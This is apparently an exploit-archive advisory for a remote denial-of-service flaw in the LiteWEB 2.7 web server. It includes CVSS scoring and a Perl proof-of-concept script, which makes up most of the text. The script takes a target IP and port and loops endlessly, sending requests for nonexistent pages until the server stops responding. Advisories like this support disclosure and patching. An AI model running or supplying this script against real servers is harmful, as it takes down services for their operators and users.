LiteWEB 2.7 404 Denial of Services

2007.06.28
Credit: imprili
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

LiteWEB 2.7 404 Denial of Services ----------------------------------- if u send to the server more than 100 requests to nonexisting pages the server will stop to answer. Site: http://www.cmfperception.com/liteweb.html Found By Shay Priel aka Prili - imprili[at]gmail.com POC: ---- #!/usr/bin/perl #GetOpt STD module use IO::Socket; use Getopt::Std; getopts(":i:p:",\%args); if(defined $args{i}){ $ip = $args{i}; } if(defined $args{p}){ $port = $args{p}; } if(!defined $args{i} or !defined $args{p}){ print "-----------------------------------------------------\n"; print "LiteWEB 2.7 404 Denial of Services\n"; print "info: if u send to the server more than 100 requests\nto nonexisting pages the server will stop to answer\n"; print "Site: http://www.cmfperception.com/liteweb.html\n"; print "Found By Prili - imprili[at]gmail.com\n"; print "Usage: perl $0 -i <ip address> -p <port> \n"; print "-----------------------------------------------------\n"; exit; } $protocol = "tcp"; print "try surfing to the web server.\n"; while (1) { $request = "GET /AAAAAAA HTTP/1.0 \n\n"; $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Can't connect to address!\n"; print $socket $request; close($socket); }


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